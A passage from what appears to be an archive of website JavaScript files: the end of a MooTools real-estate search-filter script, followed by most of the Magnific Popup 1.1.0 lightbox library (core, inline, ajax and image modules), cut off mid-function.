					this.appendList('filter_area_id', response.areas);
					this.form.getElements('.jea-counter-result').each(function(item){
						item.set('text', response.total);
					});
				}.bind(this)
			});

			jSonRequest.post(this.options.fields);
		}
	},

	reset : function() {
		this.options.fields = {
			filter_amenities : [],
			filter_area_id : 0,
			filter_bathrooms_min : 0,
			filter_bedrooms_min : 0,
			filter_budget_max : 0,
			filter_budget_min : 0,
			filter_condition : 0,
			filter_department_id : 0,
			filter_floor : '',
			filter_heatingtype : 0,
			filter_hotwatertype : 0,
			filter_land_space_max : 0,
			filter_land_space_min : 0,
			filter_living_space_max :0,
			filter_living_space_min : 0,
			filter_orientation : 0,
			filter_rooms_min : 0,
			filter_search : "",
			filter_town_id : 0,
			// Keep selected transaction type
			filter_transaction_type : this.options.fields.filter_transaction_type,
			filter_type_id : 0,
			filter_zip_codes : ""
		};

		for (var fieldName in this.options.fields) {
			if (this.form[fieldName]) {
				if (typeOf(this.form[fieldName]) == 'element') {
					var field = document.id(this.form[fieldName]);
					if (field.get('tag') == 'select') {
						field.set('selectedIndex', 0);
					}
					field.set('value', '');

				} else if (typeOf(this.form[fieldName]) == 'collection') {
					Array.from(this.form[fieldName]).each(function(item) {
						item.set('checked', '');
					});
				}
			}
		}

		this.refresh();
	},

	appendList : function(selectName, objectList) {
		if (this.form[selectName]) {
			var selectElt = document.id(this.form[selectName]);
			// Update the list only if its value equals 0
			// Or if this.forceUpdateLists is set to true
			if (selectElt.get('value') == 0 || this.forceUpdateLists) {
				var value = selectElt.get('value');

				// Save the first option element
				var first = selectElt.getFirst().clone();
				selectElt.empty();
				if (first.get('value') == 0) {
					selectElt.adopt(first);
				}

				for (var i in objectList) {
					if (objectList[i].text) {
						var option = new Element('option', objectList[i]);
						if (objectList[i].value == value) {
							option.setProperty('selected', 'selected');
						}
						selectElt.adopt(option);
					}
				}
			}
		}
	}

});
js/jquery.magnific-popup.js000064400000121402151165074460011763 0ustar00/*!
Magnific Popup - v1.1.0 - 2016-02-20
* http://dimsemenov.com/plugins/magnific-popup/
* Copyright (c) 2016 Dmitry Semenov; */
;(function (factory) { 
if (typeof define === 'function' && define.amd) { 
 // AMD. Register as an anonymous module. 
 define(['jquery'], factory); 
 } else if (typeof exports === 'object') { 
 // Node/CommonJS 
 factory(require('jquery')); 
 } else { 
 // Browser globals 
 factory(window.jQuery || window.Zepto); 
 } 
 }(function($) { 

/*>>core*/
/**
 * 
 * Magnific Popup Core JS file
 * 
 */


/**
 * Private static constants
 */
var CLOSE_EVENT = 'Close',
	BEFORE_CLOSE_EVENT = 'BeforeClose',
	AFTER_CLOSE_EVENT = 'AfterClose',
	BEFORE_APPEND_EVENT = 'BeforeAppend',
	MARKUP_PARSE_EVENT = 'MarkupParse',
	OPEN_EVENT = 'Open',
	CHANGE_EVENT = 'Change',
	NS = 'mfp',
	EVENT_NS = '.' + NS,
	READY_CLASS = 'mfp-ready',
	REMOVING_CLASS = 'mfp-removing',
	PREVENT_CLOSE_CLASS = 'mfp-prevent-close';


/**
 * Private vars 
 */
/*jshint -W079 */
var mfp, // As we have only one instance of MagnificPopup object, we define
it locally to not to use 'this'
	MagnificPopup = function(){},
	_isJQ = !!(window.jQuery),
	_prevStatus,
	_window = $(window),
	_document,
	_prevContentType,
	_wrapClasses,
	_currPopupType;


/**
 * Private functions
 */
var _mfpOn = function(name, f) {
		mfp.ev.on(NS + name + EVENT_NS, f);
	},
	_getEl = function(className, appendTo, html, raw) {
		var el = document.createElement('div');
		el.className = 'mfp-'+className;
		if(html) {
			el.innerHTML = html;
		}
		if(!raw) {
			el = $(el);
			if(appendTo) {
				el.appendTo(appendTo);
			}
		} else if(appendTo) {
			appendTo.appendChild(el);
		}
		return el;
	},
	_mfpTrigger = function(e, data) {
		mfp.ev.triggerHandler(NS + e, data);

		if(mfp.st.callbacks) {
			// converts "mfpEventName" to "eventName" callback
and triggers it if it's present
			e = e.charAt(0).toLowerCase() + e.slice(1);
			if(mfp.st.callbacks[e]) {
				mfp.st.callbacks[e].apply(mfp, $.isArray(data) ? data : [data]);
			}
		}
	},
	_getCloseBtn = function(type) {
		if(type !== _currPopupType || !mfp.currTemplate.closeBtn) {
			mfp.currTemplate.closeBtn = $(
mfp.st.closeMarkup.replace('%title%', mfp.st.tClose ) );
			_currPopupType = type;
		}
		return mfp.currTemplate.closeBtn;
	},
	// Initialize Magnific Popup only when called at least once
	_checkInstance = function() {
		if(!$.magnificPopup.instance) {
			/*jshint -W020 */
			mfp = new MagnificPopup();
			mfp.init();
			$.magnificPopup.instance = mfp;
		}
	},
	// CSS transition detection,
http://stackoverflow.com/questions/7264899/detect-css-transitions-using-javascript-and-without-modernizr
	supportsTransitions = function() {
		var s = document.createElement('p').style, // 's' for
style. better to create an element if body yet to exist
			v = ['ms','O','Moz','Webkit'];
// 'v' for vendor

		if( s['transition'] !== undefined ) {
			return true; 
		}
			
		while( v.length ) {
			if( v.pop() + 'Transition' in s ) {
				return true;
			}
		}
				
		return false;
	};



/**
 * Public functions
 */
MagnificPopup.prototype = {

	constructor: MagnificPopup,

	/**
	 * Initializes Magnific Popup plugin. 
	 * This function is triggered only once when $.fn.magnificPopup or
$.magnificPopup is executed
	 */
	init: function() {
		var appVersion = navigator.appVersion;
		mfp.isLowIE = mfp.isIE8 = document.all &&
!document.addEventListener;
		mfp.isAndroid = (/android/gi).test(appVersion);
		mfp.isIOS = (/iphone|ipad|ipod/gi).test(appVersion);
		mfp.supportsTransition = supportsTransitions();

		// We disable fixed positioned lightbox on devices that don't handle
it nicely.
		// If you know a better way of detecting this - let me know.
		mfp.probablyMobile = (mfp.isAndroid || mfp.isIOS || /(Opera
Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows
Phone)|IEMobile/i.test(navigator.userAgent) );
		_document = $(document);

		mfp.popupsCache = {};
	},

	/**
	 * Opens popup
	 * @param  data [description]
	 */
	open: function(data) {

		var i;

		if(data.isObj === false) { 
			// convert jQuery collection to array to avoid conflicts later
			mfp.items = data.items.toArray();

			mfp.index = 0;
			var items = data.items,
				item;
			for(i = 0; i < items.length; i++) {
				item = items[i];
				if(item.parsed) {
					item = item.el[0];
				}
				if(item === data.el[0]) {
					mfp.index = i;
					break;
				}
			}
		} else {
			mfp.items = $.isArray(data.items) ? data.items : [data.items];
			mfp.index = data.index || 0;
		}

		// if popup is already opened - we just update the content
		if(mfp.isOpen) {
			mfp.updateItemHTML();
			return;
		}
		
		mfp.types = []; 
		_wrapClasses = '';
		if(data.mainEl && data.mainEl.length) {
			mfp.ev = data.mainEl.eq(0);
		} else {
			mfp.ev = _document;
		}

		if(data.key) {
			if(!mfp.popupsCache[data.key]) {
				mfp.popupsCache[data.key] = {};
			}
			mfp.currTemplate = mfp.popupsCache[data.key];
		} else {
			mfp.currTemplate = {};
		}



		mfp.st = $.extend(true, {}, $.magnificPopup.defaults, data ); 
		mfp.fixedContentPos = mfp.st.fixedContentPos === 'auto' ?
!mfp.probablyMobile : mfp.st.fixedContentPos;

		if(mfp.st.modal) {
			mfp.st.closeOnContentClick = false;
			mfp.st.closeOnBgClick = false;
			mfp.st.showCloseBtn = false;
			mfp.st.enableEscapeKey = false;
		}
		

		// Building markup
		// main containers are created only once
		if(!mfp.bgOverlay) {

			// Dark overlay
			mfp.bgOverlay = _getEl('bg').on('click'+EVENT_NS,
function() {
				mfp.close();
			});

			mfp.wrap = _getEl('wrap').attr('tabindex',
-1).on('click'+EVENT_NS, function(e) {
				if(mfp._checkIfClose(e.target)) {
					mfp.close();
				}
			});

			mfp.container = _getEl('container', mfp.wrap);
		}

		mfp.contentContainer = _getEl('content');
		if(mfp.st.preloader) {
			mfp.preloader = _getEl('preloader', mfp.container,
mfp.st.tLoading);
		}


		// Initializing modules
		var modules = $.magnificPopup.modules;
		for(i = 0; i < modules.length; i++) {
			var n = modules[i];
			n = n.charAt(0).toUpperCase() + n.slice(1);
			mfp['init'+n].call(mfp);
		}
		_mfpTrigger('BeforeOpen');


		if(mfp.st.showCloseBtn) {
			// Close button
			if(!mfp.st.closeBtnInside) {
				mfp.wrap.append( _getCloseBtn() );
			} else {
				_mfpOn(MARKUP_PARSE_EVENT, function(e, template, values, item) {
					values.close_replaceWith = _getCloseBtn(item.type);
				});
				_wrapClasses += ' mfp-close-btn-in';
			}
		}

		if(mfp.st.alignTop) {
			_wrapClasses += ' mfp-align-top';
		}

	

		if(mfp.fixedContentPos) {
			mfp.wrap.css({
				overflow: mfp.st.overflowY,
				overflowX: 'hidden',
				overflowY: mfp.st.overflowY
			});
		} else {
			mfp.wrap.css({ 
				top: _window.scrollTop(),
				position: 'absolute'
			});
		}
		if( mfp.st.fixedBgPos === false || (mfp.st.fixedBgPos ===
'auto' && !mfp.fixedContentPos) ) {
			mfp.bgOverlay.css({
				height: _document.height(),
				position: 'absolute'
			});
		}

		

		if(mfp.st.enableEscapeKey) {
			// Close on ESC key
			_document.on('keyup' + EVENT_NS, function(e) {
				if(e.keyCode === 27) {
					mfp.close();
				}
			});
		}

		_window.on('resize' + EVENT_NS, function() {
			mfp.updateSize();
		});


		if(!mfp.st.closeOnContentClick) {
			_wrapClasses += ' mfp-auto-cursor';
		}
		
		if(_wrapClasses)
			mfp.wrap.addClass(_wrapClasses);


		// this triggers recalculation of layout, so we get it once to not to
trigger twice
		var windowHeight = mfp.wH = _window.height();

		
		var windowStyles = {};

		if( mfp.fixedContentPos ) {
            if(mfp._hasScrollBar(windowHeight)){
                var s = mfp._getScrollbarSize();
                if(s) {
                    windowStyles.marginRight = s;
                }
            }
        }

		if(mfp.fixedContentPos) {
			if(!mfp.isIE7) {
				windowStyles.overflow = 'hidden';
			} else {
				// ie7 double-scroll bug
				$('body, html').css('overflow',
'hidden');
			}
		}

		
		
		var classesToadd = mfp.st.mainClass;
		if(mfp.isIE7) {
			classesToadd += ' mfp-ie7';
		}
		if(classesToadd) {
			mfp._addClassToMFP( classesToadd );
		}

		// add content
		mfp.updateItemHTML();

		_mfpTrigger('BuildControls');

		// remove scrollbar, add margin e.t.c
		$('html').css(windowStyles);
		
		// add everything to DOM
		mfp.bgOverlay.add(mfp.wrap).prependTo( mfp.st.prependTo ||
$(document.body) );

		// Save last focused element
		mfp._lastFocusedEl = document.activeElement;
		
		// Wait for next cycle to allow CSS transition
		setTimeout(function() {
			
			if(mfp.content) {
				mfp._addClassToMFP(READY_CLASS);
				mfp._setFocus();
			} else {
				// if content is not defined (not loaded e.t.c) we add class only for
BG
				mfp.bgOverlay.addClass(READY_CLASS);
			}
			
			// Trap the focus in popup
			_document.on('focusin' + EVENT_NS, mfp._onFocusIn);

		}, 16);

		mfp.isOpen = true;
		mfp.updateSize(windowHeight);
		_mfpTrigger(OPEN_EVENT);

		return data;
	},

	/**
	 * Closes the popup
	 */
	close: function() {
		if(!mfp.isOpen) return;
		_mfpTrigger(BEFORE_CLOSE_EVENT);

		mfp.isOpen = false;
		// for CSS3 animation
		if(mfp.st.removalDelay && !mfp.isLowIE &&
mfp.supportsTransition )  {
			mfp._addClassToMFP(REMOVING_CLASS);
			setTimeout(function() {
				mfp._close();
			}, mfp.st.removalDelay);
		} else {
			mfp._close();
		}
	},

	/**
	 * Helper for close() function
	 */
	_close: function() {
		_mfpTrigger(CLOSE_EVENT);

		var classesToRemove = REMOVING_CLASS + ' ' + READY_CLASS +
' ';

		mfp.bgOverlay.detach();
		mfp.wrap.detach();
		mfp.container.empty();

		if(mfp.st.mainClass) {
			classesToRemove += mfp.st.mainClass + ' ';
		}

		mfp._removeClassFromMFP(classesToRemove);

		if(mfp.fixedContentPos) {
			var windowStyles = {marginRight: ''};
			if(mfp.isIE7) {
				$('body, html').css('overflow', '');
			} else {
				windowStyles.overflow = '';
			}
			$('html').css(windowStyles);
		}
		
		_document.off('keyup' + EVENT_NS + ' focusin' +
EVENT_NS);
		mfp.ev.off(EVENT_NS);

		// clean up DOM elements that aren't removed
		mfp.wrap.attr('class',
'mfp-wrap').removeAttr('style');
		mfp.bgOverlay.attr('class', 'mfp-bg');
		mfp.container.attr('class', 'mfp-container');

		// remove close button from target element
		if(mfp.st.showCloseBtn &&
		(!mfp.st.closeBtnInside || mfp.currTemplate[mfp.currItem.type] === true))
{
			if(mfp.currTemplate.closeBtn)
				mfp.currTemplate.closeBtn.detach();
		}


		if(mfp.st.autoFocusLast && mfp._lastFocusedEl) {
			$(mfp._lastFocusedEl).focus(); // put tab focus back
		}
		mfp.currItem = null;	
		mfp.content = null;
		mfp.currTemplate = null;
		mfp.prevHeight = 0;

		_mfpTrigger(AFTER_CLOSE_EVENT);
	},
	
	updateSize: function(winHeight) {

		if(mfp.isIOS) {
			// fixes iOS nav bars
https://github.com/dimsemenov/Magnific-Popup/issues/2
			var zoomLevel = document.documentElement.clientWidth /
window.innerWidth;
			var height = window.innerHeight * zoomLevel;
			mfp.wrap.css('height', height);
			mfp.wH = height;
		} else {
			mfp.wH = winHeight || _window.height();
		}
		// Fixes #84: popup incorrectly positioned with position:relative on body
		if(!mfp.fixedContentPos) {
			mfp.wrap.css('height', mfp.wH);
		}

		_mfpTrigger('Resize');

	},

	/**
	 * Set content of popup based on current index
	 */
	updateItemHTML: function() {
		var item = mfp.items[mfp.index];

		// Detach and perform modifications
		mfp.contentContainer.detach();

		if(mfp.content)
			mfp.content.detach();

		if(!item.parsed) {
			item = mfp.parseEl( mfp.index );
		}

		var type = item.type;

		_mfpTrigger('BeforeChange', [mfp.currItem ? mfp.currItem.type :
'', type]);
		// BeforeChange event works like so:
		// _mfpOn('BeforeChange', function(e, prevType, newType) { });

		mfp.currItem = item;

		if(!mfp.currTemplate[type]) {
			var markup = mfp.st[type] ? mfp.st[type].markup : false;

			// allows to modify markup
			_mfpTrigger('FirstMarkupParse', markup);

			if(markup) {
				mfp.currTemplate[type] = $(markup);
			} else {
				// if there is no markup found we just define that template is parsed
				mfp.currTemplate[type] = true;
			}
		}

		if(_prevContentType && _prevContentType !== item.type) {
			mfp.container.removeClass('mfp-'+_prevContentType+'-holder');
		}

		var newContent = mfp['get' + type.charAt(0).toUpperCase() +
type.slice(1)](item, mfp.currTemplate[type]);
		mfp.appendContent(newContent, type);

		item.preloaded = true;

		_mfpTrigger(CHANGE_EVENT, item);
		_prevContentType = item.type;

		// Append container back after its content changed
		mfp.container.prepend(mfp.contentContainer);

		_mfpTrigger('AfterChange');
	},


	/**
	 * Set HTML content of popup
	 */
	appendContent: function(newContent, type) {
		mfp.content = newContent;

		if(newContent) {
			if(mfp.st.showCloseBtn && mfp.st.closeBtnInside &&
				mfp.currTemplate[type] === true) {
				// if there is no markup, we just append close button element inside
				if(!mfp.content.find('.mfp-close').length) {
					mfp.content.append(_getCloseBtn());
				}
			} else {
				mfp.content = newContent;
			}
		} else {
			mfp.content = '';
		}

		_mfpTrigger(BEFORE_APPEND_EVENT);
		mfp.container.addClass('mfp-'+type+'-holder');

		mfp.contentContainer.append(mfp.content);
	},


	/**
	 * Creates Magnific Popup data object based on given data
	 * @param  {int} index Index of item to parse
	 */
	parseEl: function(index) {
		var item = mfp.items[index],
			type;

		if(item.tagName) {
			item = { el: $(item) };
		} else {
			type = item.type;
			item = { data: item, src: item.src };
		}

		if(item.el) {
			var types = mfp.types;

			// check for 'mfp-TYPE' class
			for(var i = 0; i < types.length; i++) {
				if( item.el.hasClass('mfp-'+types[i]) ) {
					type = types[i];
					break;
				}
			}

			item.src = item.el.attr('data-mfp-src');
			if(!item.src) {
				item.src = item.el.attr('href');
			}
		}

		item.type = type || mfp.st.type || 'inline';
		item.index = index;
		item.parsed = true;
		mfp.items[index] = item;
		_mfpTrigger('ElementParse', item);

		return mfp.items[index];
	},


	/**
	 * Initializes single popup or a group of popups
	 */
	addGroup: function(el, options) {
		var eHandler = function(e) {
			e.mfpEl = this;
			mfp._openClick(e, el, options);
		};

		if(!options) {
			options = {};
		}

		var eName = 'click.magnificPopup';
		options.mainEl = el;

		if(options.items) {
			options.isObj = true;
			el.off(eName).on(eName, eHandler);
		} else {
			options.isObj = false;
			if(options.delegate) {
				el.off(eName).on(eName, options.delegate , eHandler);
			} else {
				options.items = el;
				el.off(eName).on(eName, eHandler);
			}
		}
	},
	_openClick: function(e, el, options) {
		var midClick = options.midClick !== undefined ? options.midClick :
$.magnificPopup.defaults.midClick;


		if(!midClick && ( e.which === 2 || e.ctrlKey || e.metaKey ||
e.altKey || e.shiftKey ) ) {
			return;
		}

		var disableOn = options.disableOn !== undefined ? options.disableOn :
$.magnificPopup.defaults.disableOn;

		if(disableOn) {
			if($.isFunction(disableOn)) {
				if( !disableOn.call(mfp) ) {
					return true;
				}
			} else { // else it's number
				if( _window.width() < disableOn ) {
					return true;
				}
			}
		}

		if(e.type) {
			e.preventDefault();

			// This will prevent popup from closing if element is inside and popup
is already opened
			if(mfp.isOpen) {
				e.stopPropagation();
			}
		}

		options.el = $(e.mfpEl);
		if(options.delegate) {
			options.items = el.find(options.delegate);
		}
		mfp.open(options);
	},


	/**
	 * Updates text on preloader
	 */
	updateStatus: function(status, text) {

		if(mfp.preloader) {
			if(_prevStatus !== status) {
				mfp.container.removeClass('mfp-s-'+_prevStatus);
			}

			if(!text && status === 'loading') {
				text = mfp.st.tLoading;
			}

			var data = {
				status: status,
				text: text
			};
			// allows to modify status
			_mfpTrigger('UpdateStatus', data);

			status = data.status;
			text = data.text;

			mfp.preloader.html(text);

			mfp.preloader.find('a').on('click', function(e) {
				e.stopImmediatePropagation();
			});

			mfp.container.addClass('mfp-s-'+status);
			_prevStatus = status;
		}
	},


	/*
		"Private" helpers that aren't private at all
	 */
	// Check to close popup or not
	// "target" is an element that was clicked
	_checkIfClose: function(target) {

		if($(target).hasClass(PREVENT_CLOSE_CLASS)) {
			return;
		}

		var closeOnContent = mfp.st.closeOnContentClick;
		var closeOnBg = mfp.st.closeOnBgClick;

		if(closeOnContent && closeOnBg) {
			return true;
		} else {

			// We close the popup if click is on close button or on preloader. Or if
there is no content.
			if(!mfp.content || $(target).hasClass('mfp-close') ||
(mfp.preloader && target === mfp.preloader[0]) ) {
				return true;
			}

			// if click is outside the content
			if(  (target !== mfp.content[0] && !$.contains(mfp.content[0],
target))  ) {
				if(closeOnBg) {
					// last check, if the clicked element is in DOM, (in case it's
removed onclick)
					if( $.contains(document, target) ) {
						return true;
					}
				}
			} else if(closeOnContent) {
				return true;
			}

		}
		return false;
	},
	_addClassToMFP: function(cName) {
		mfp.bgOverlay.addClass(cName);
		mfp.wrap.addClass(cName);
	},
	_removeClassFromMFP: function(cName) {
		this.bgOverlay.removeClass(cName);
		mfp.wrap.removeClass(cName);
	},
	_hasScrollBar: function(winHeight) {
		return (  (mfp.isIE7 ? _document.height() : document.body.scrollHeight)
> (winHeight || _window.height()) );
	},
	_setFocus: function() {
		(mfp.st.focus ? mfp.content.find(mfp.st.focus).eq(0) : mfp.wrap).focus();
	},
	_onFocusIn: function(e) {
		if( e.target !== mfp.wrap[0] && !$.contains(mfp.wrap[0],
e.target) ) {
			mfp._setFocus();
			return false;
		}
	},
	_parseMarkup: function(template, values, item) {
		var arr;
		if(item.data) {
			values = $.extend(item.data, values);
		}
		_mfpTrigger(MARKUP_PARSE_EVENT, [template, values, item] );

		$.each(values, function(key, value) {
			if(value === undefined || value === false) {
				return true;
			}
			arr = key.split('_');
			if(arr.length > 1) {
				var el = template.find(EVENT_NS + '-'+arr[0]);

				if(el.length > 0) {
					var attr = arr[1];
					if(attr === 'replaceWith') {
						if(el[0] !== value[0]) {
							el.replaceWith(value);
						}
					} else if(attr === 'img') {
						if(el.is('img')) {
							el.attr('src', value);
						} else {
							el.replaceWith( $('<img>').attr('src',
value).attr('class', el.attr('class')) );
						}
					} else {
						el.attr(arr[1], value);
					}
				}

			} else {
				template.find(EVENT_NS + '-'+key).html(value);
			}
		});
	},

	_getScrollbarSize: function() {
		// thx David
		if(mfp.scrollbarSize === undefined) {
			var scrollDiv = document.createElement("div");
			scrollDiv.style.cssText = 'width: 99px; height: 99px; overflow:
scroll; position: absolute; top: -9999px;';
			document.body.appendChild(scrollDiv);
			mfp.scrollbarSize = scrollDiv.offsetWidth - scrollDiv.clientWidth;
			document.body.removeChild(scrollDiv);
		}
		return mfp.scrollbarSize;
	}

}; /* MagnificPopup core prototype end */




/**
 * Public static functions
 */
$.magnificPopup = {
	instance: null,
	proto: MagnificPopup.prototype,
	modules: [],

	open: function(options, index) {
		_checkInstance();

		if(!options) {
			options = {};
		} else {
			options = $.extend(true, {}, options);
		}

		options.isObj = true;
		options.index = index || 0;
		return this.instance.open(options);
	},

	close: function() {
		return $.magnificPopup.instance &&
$.magnificPopup.instance.close();
	},

	registerModule: function(name, module) {
		if(module.options) {
			$.magnificPopup.defaults[name] = module.options;
		}
		$.extend(this.proto, module.proto);
		this.modules.push(name);
	},

	defaults: {

		// Info about options is in docs:
		//
http://dimsemenov.com/plugins/magnific-popup/documentation.html#options

		disableOn: 0,

		key: null,

		midClick: false,

		mainClass: '',

		preloader: true,

		focus: '', // CSS selector of input to focus after popup is
opened

		closeOnContentClick: false,

		closeOnBgClick: true,

		closeBtnInside: true,

		showCloseBtn: true,

		enableEscapeKey: true,

		modal: false,

		alignTop: false,

		removalDelay: 0,

		prependTo: null,

		fixedContentPos: 'auto',

		fixedBgPos: 'auto',

		overflowY: 'auto',

		closeMarkup: '<button title="%title%"
type="button"
class="mfp-close">&#215;</button>',

		tClose: 'Close (Esc)',

		tLoading: 'Loading...',

		autoFocusLast: true

	}
};



$.fn.magnificPopup = function(options) {
	_checkInstance();

	var jqEl = $(this);

	// We call some API method of first param is a string
	if (typeof options === "string" ) {

		if(options === 'open') {
			var items,
				itemOpts = _isJQ ? jqEl.data('magnificPopup') :
jqEl[0].magnificPopup,
				index = parseInt(arguments[1], 10) || 0;

			if(itemOpts.items) {
				items = itemOpts.items[index];
			} else {
				items = jqEl;
				if(itemOpts.delegate) {
					items = items.find(itemOpts.delegate);
				}
				items = items.eq( index );
			}
			mfp._openClick({mfpEl:items}, jqEl, itemOpts);
		} else {
			if(mfp.isOpen)
				mfp[options].apply(mfp, Array.prototype.slice.call(arguments, 1));
		}

	} else {
		// clone options obj
		options = $.extend(true, {}, options);

		/*
		 * As Zepto doesn't support .data() method for objects
		 * and it works only in normal browsers
		 * we assign "options" object directly to the DOM element. FTW!
		 */
		if(_isJQ) {
			jqEl.data('magnificPopup', options);
		} else {
			jqEl[0].magnificPopup = options;
		}

		mfp.addGroup(jqEl, options);

	}
	return jqEl;
};

/*>>core*/

/*>>inline*/

var INLINE_NS = 'inline',
	_hiddenClass,
	_inlinePlaceholder,
	_lastInlineElement,
	_putInlineElementsBack = function() {
		if(_lastInlineElement) {
			_inlinePlaceholder.after( _lastInlineElement.addClass(_hiddenClass)
).detach();
			_lastInlineElement = null;
		}
	};

$.magnificPopup.registerModule(INLINE_NS, {
	options: {
		hiddenClass: 'hide', // will be appended with `mfp-` prefix
		markup: '',
		tNotFound: 'Content not found'
	},
	proto: {

		initInline: function() {
			mfp.types.push(INLINE_NS);

			_mfpOn(CLOSE_EVENT+'.'+INLINE_NS, function() {
				_putInlineElementsBack();
			});
		},

		getInline: function(item, template) {

			_putInlineElementsBack();

			if(item.src) {
				var inlineSt = mfp.st.inline,
					el = $(item.src);

				if(el.length) {

					// If target element has parent - we replace it with placeholder and
put it back after popup is closed
					var parent = el[0].parentNode;
					if(parent && parent.tagName) {
						if(!_inlinePlaceholder) {
							_hiddenClass = inlineSt.hiddenClass;
							_inlinePlaceholder = _getEl(_hiddenClass);
							_hiddenClass = 'mfp-'+_hiddenClass;
						}
						// replace target inline element with placeholder
						_lastInlineElement =
el.after(_inlinePlaceholder).detach().removeClass(_hiddenClass);
					}

					mfp.updateStatus('ready');
				} else {
					mfp.updateStatus('error', inlineSt.tNotFound);
					el = $('<div>');
				}

				item.inlineElement = el;
				return el;
			}

			mfp.updateStatus('ready');
			mfp._parseMarkup(template, {}, item);
			return template;
		}
	}
});

/*>>inline*/

/*>>ajax*/
var AJAX_NS = 'ajax',
	_ajaxCur,
	_removeAjaxCursor = function() {
		if(_ajaxCur) {
			$(document.body).removeClass(_ajaxCur);
		}
	},
	_destroyAjaxRequest = function() {
		_removeAjaxCursor();
		if(mfp.req) {
			mfp.req.abort();
		}
	};

$.magnificPopup.registerModule(AJAX_NS, {

	options: {
		settings: null,
		cursor: 'mfp-ajax-cur',
		tError: '<a href="%url%">The content</a> could
not be loaded.'
	},

	proto: {
		initAjax: function() {
			mfp.types.push(AJAX_NS);
			_ajaxCur = mfp.st.ajax.cursor;

			_mfpOn(CLOSE_EVENT+'.'+AJAX_NS, _destroyAjaxRequest);
			_mfpOn('BeforeChange.' + AJAX_NS, _destroyAjaxRequest);
		},
		getAjax: function(item) {

			if(_ajaxCur) {
				$(document.body).addClass(_ajaxCur);
			}

			mfp.updateStatus('loading');

			var opts = $.extend({
				url: item.src,
				success: function(data, textStatus, jqXHR) {
					var temp = {
						data:data,
						xhr:jqXHR
					};

					_mfpTrigger('ParseAjax', temp);

					mfp.appendContent( $(temp.data), AJAX_NS );

					item.finished = true;

					_removeAjaxCursor();

					mfp._setFocus();

					setTimeout(function() {
						mfp.wrap.addClass(READY_CLASS);
					}, 16);

					mfp.updateStatus('ready');

					_mfpTrigger('AjaxContentAdded');
				},
				error: function() {
					_removeAjaxCursor();
					item.finished = item.loadError = true;
					mfp.updateStatus('error',
mfp.st.ajax.tError.replace('%url%', item.src));
				}
			}, mfp.st.ajax.settings);

			mfp.req = $.ajax(opts);

			return '';
		}
	}
});

/*>>ajax*/

/*>>image*/
var _imgInterval,
	_getTitle = function(item) {
		if(item.data && item.data.title !== undefined)
			return item.data.title;

		var src = mfp.st.image.titleSrc;

		if(src) {
			if($.isFunction(src)) {
				return src.call(mfp, item);
			} else if(item.el) {
				return item.el.attr(src) || '';
			}
		}
		return '';
	};

$.magnificPopup.registerModule('image', {

	options: {
		markup: '<div class="mfp-figure">'+
					'<div class="mfp-close"></div>'+
					'<figure>'+
						'<div class="mfp-img"></div>'+
						'<figcaption>'+
							'<div class="mfp-bottom-bar">'+
								'<div class="mfp-title"></div>'+
								'<div class="mfp-counter"></div>'+
							'</div>'+
						'</figcaption>'+
					'</figure>'+
				'</div>',
		cursor: 'mfp-zoom-out-cur',
		titleSrc: 'title',
		verticalFit: true,
		tError: '<a href="%url%">The image</a> could
not be loaded.'
	},

	proto: {
		initImage: function() {
			var imgSt = mfp.st.image,
				ns = '.image';

			mfp.types.push('image');

			_mfpOn(OPEN_EVENT+ns, function() {
				if(mfp.currItem.type === 'image' && imgSt.cursor) {
					$(document.body).addClass(imgSt.cursor);
				}
			});

			_mfpOn(CLOSE_EVENT+ns, function() {
				if(imgSt.cursor) {
					$(document.body).removeClass(imgSt.cursor);
				}
				_window.off('resize' + EVENT_NS);
			});

			_mfpOn('Resize'+ns, mfp.resizeImage);
			if(mfp.isLowIE) {
				_mfpOn('AfterChange', mfp.resizeImage);
			}
		},
		resizeImage: function() {
			var item = mfp.currItem;
			if(!item || !item.img) return;

			if(mfp.st.image.verticalFit) {
				var decr = 0;
				// fix box-sizing in ie7/8
				if(mfp.isLowIE) {
					decr = parseInt(item.img.css('padding-top'), 10) +
parseInt(item.img.css('padding-bottom'),10);
				}
				item.img.css('max-height', mfp.wH-decr);
			}
		},
		_onImageHasSize: function(item) {
			if(item.img) {

				item.hasSize = true;

				if(_imgInterval) {
					clearInterval(_imgInterval);
				}

				item.isCheckingImgSize = false;

				_mfpTrigger('ImageHasSize', item);

				if(item.imgHidden) {
					if(mfp.content)
						mfp.content.removeClass('mfp-loading');

					item.imgHidden = false;
				}

			}
		},

		/**
		 * Function that loops until the image has size to display elements that
rely on it asap
		 */
		findImageSize: function(item) {

			var counter = 0,
				img = item.img[0],
				mfpSetInterval = function(delay) {

					if(_imgInterval) {
						clearInterval(_imgInterval);
					}
					// decelerating interval that checks for size of an image
					_imgInterval = setInterval(function() {
						if(img.naturalWidth > 0) {
							mfp._onImageHasSize(item);
							return;
						}

						if(counter > 200) {
							clearInterval(_imgInterval);
						}

						counter++;
						if(counter === 3) {
							mfpSetInterval(10);
						} else if(counter === 40) {
							mfpSetInterval(50);
						} else if(counter === 100) {
							mfpSetInterval(500);
						}
					}, delay);
				};

			mfpSetInterval(1);
		},

		getImage: function(item, template) {

			var guard = 0,

				// image load complete handler
				onLoadComplete = function() {
					if(item) {
						if (item.img[0].complete) {
							item.img.off('.mfploader');

							if(item === mfp.currItem){
								mfp._onImageHasSize(item);

								mfp.updateStatus('ready');
							}

							item.hasSize = true;
							item.loaded = true;

							_mfpTrigger('ImageLoadComplete');

						}
						else {
							// if image complete check fails 200 times (20 sec), we assume that
there was an error.
							guard++;
							if(guard < 200) {
								setTimeout(onLoadComplete,100);
							} else {
								onLoadError();
							}
						}
					}
				},

				// image error handler
				onLoadError = function() {
					if(item) {
						item.img.off('.mfploader');
						if(item === mfp.currItem){
							mfp._onImageHasSize(item);
							mfp.updateStatus('error',
imgSt.tError.replace('%url%', item.src) );
						}

						item.hasSize = true;
						item.loaded = true;
						item.loadError = true;
					}
				},
				imgSt = mfp.st.image;


			var el = template.find('.mfp-img');
			if(el.length) {
				var img = document.createElement('img');
				img.className = 'mfp-img';
				if(item.el && item.el.find('img').length) {
					img.alt = item.el.find('img').attr('alt');
				}
				item.img = $(img).on('load.mfploader',
onLoadComplete).on('error.mfploader', onLoadError);
				img.src = item.src;

				// without clone() "error" event is not firing when IMG is
replaced by new IMG
				// TODO: find a way to avoid such cloning
				if(el.is('img')) {
					item.img = item.img.clone();
				}

				img = item.img[0];
				if(img.naturalWidth > 0) {
					item.hasSize = true;
				} else if(!img.width) {
					item.hasSize = false;
				}
			}

			mfp._parseMarkup(template, {
				title: _getTitle(item),
